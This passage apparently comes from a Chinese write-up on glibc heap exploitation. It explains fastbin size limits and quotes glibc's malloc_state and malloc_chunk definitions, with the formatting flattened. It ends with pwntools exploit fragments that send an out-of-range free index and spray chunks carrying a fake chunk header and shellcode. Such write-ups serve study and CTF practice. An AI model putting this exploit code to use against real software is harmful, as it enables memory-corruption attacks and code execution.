但是我却解决了这里的另一个坑,如果我们进行测试,就会发现我们最大malloc(120),size=128的chunk才是fast chunk,free后可以放到fastbinsY[6]中去,但是如果我们malloc(128),free后却放到了unsortbin中去,也就是说index=7 or 8也是用不上的,这里我们看代码:
M_MXFAST (since glibc 2.3) Set the upper limit for memory allocation requests that are satisfied using "fastbins". (The measurement unit for this parameter is bytes.) Fastbins are storage areas that hold deallocated blocks of memory of the same size without merging adjacent free blocks. Subsequent reallocation of blocks of the same size can be handled very quickly by allocating from the fastbin, although memory fragmentation and the overall memory footprint of the program can increase.
The default value for this parameter is 64*sizeof(size_t)/4 (i.e., 64 on 32-bit architectures). The range for this parameter is 0 to 80*sizeof(size_t)/4. Setting M_MXFAST to 0 disables the use of fastbins.
1651structmalloc_state 1652 { 1653/* Serialize access. */ 1654 __libc_lock_define (, mutex); 1655 1656/* Flags (formerly in max_fast). */ 1657int flags; 1658 1659/* Fastbins */ 1660 mfastbinptr fastbinsY[NFASTBINS]; 1661 1662/* Base of the topmost chunk -- not otherwise kept in a bin */ 1663 mchunkptr top; 1664 1665/* The remainder from the most recent split of a small request */ 1666 mchunkptr last_remainder; 1667 1668/* Normal bins packed as described above */ 1669 mchunkptr bins[NBINS * 2 - 2]; 1670 1671/* Bitmap of bins */ 1672unsignedint binmap[BINMAPSIZE]; 1673 1674/* Linked list */ 1675structmalloc_state *next; 1676 1677/* Linked list for free arenas. Access to this field is serialized 1678 by free_list_lock in arena.c. */ 1679structmalloc_state *next_free; 1680 1681/* Number of threads attached to this arena. 0 if the arena is on 1682 the free list. Access to this field is serialized by 1683 free_list_lock in arena.c. */ 1684 INTERNAL_SIZE_T attached_threads; 1685 1686/* Memory allocated from the system in this arena. */ 1687 INTERNAL_SIZE_T system_mem; 1688 INTERNAL_SIZE_T max_system_mem; 1689 };
1040structmalloc_chunk { 1041 1042 INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ 1043 INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ 1044 1045structmalloc_chunk* fd;/* double links -- used only if free. */ 1046structmalloc_chunk* bk; 1047 1048/* Only used for large blocks: pointer to next larger size. */ 1049structmalloc_chunk* fd_nextsize;/* double links -- used only if free. */ 1050structmalloc_chunk* bk_nextsize; 1051 }; ...... 1068 An allocated chunk looks like this: 1069 1070 1071 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1072 | Size of previous chunk, ifunallocated(P clear) | 1073 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1074 | Size of chunk, in bytes |A|M|P| 1075 mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1076 | User data starts here... . 1077 . . 1078 . (malloc_usable_size() bytes) . 1079 . | 1080 nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1081 | (size of chunk, but used for application data) | 1082 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1083 | Size of next chunk, in bytes |A|0|1| 1084 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ...... 1094 Free chunks are stored in circular doubly-linked lists, and look like this: 1095 1096 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1097 | Size of previous chunk, ifunallocated(P clear) | 1098 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1099 `head:' | Size of chunk, in bytes |A|0|P| 1100 mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1101 | Forward pointer to next chunk in list | 1102 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1103 | Back pointer to previous chunk in list | 1104 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1105 | Unused space(may be 0 bytes long) . 1106 . . 1107 . | 1108 nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1109 `foot:' | Size of chunk, in bytes | 1110 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 1111 | Size of next chunk, in bytes |A|0|0| 1112 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
deffree_del(): for x in xrange(3): p.sendline('3') p.send(str(0xfffffffd)) print p.recv()
defcreate_chunk(): for x in xrange(0x31): p.sendline('1') print p.recv() if x == 1: p.sendline(p64(0)+p64(0x21)) else: p.sendline(shellcode2) print p.recv()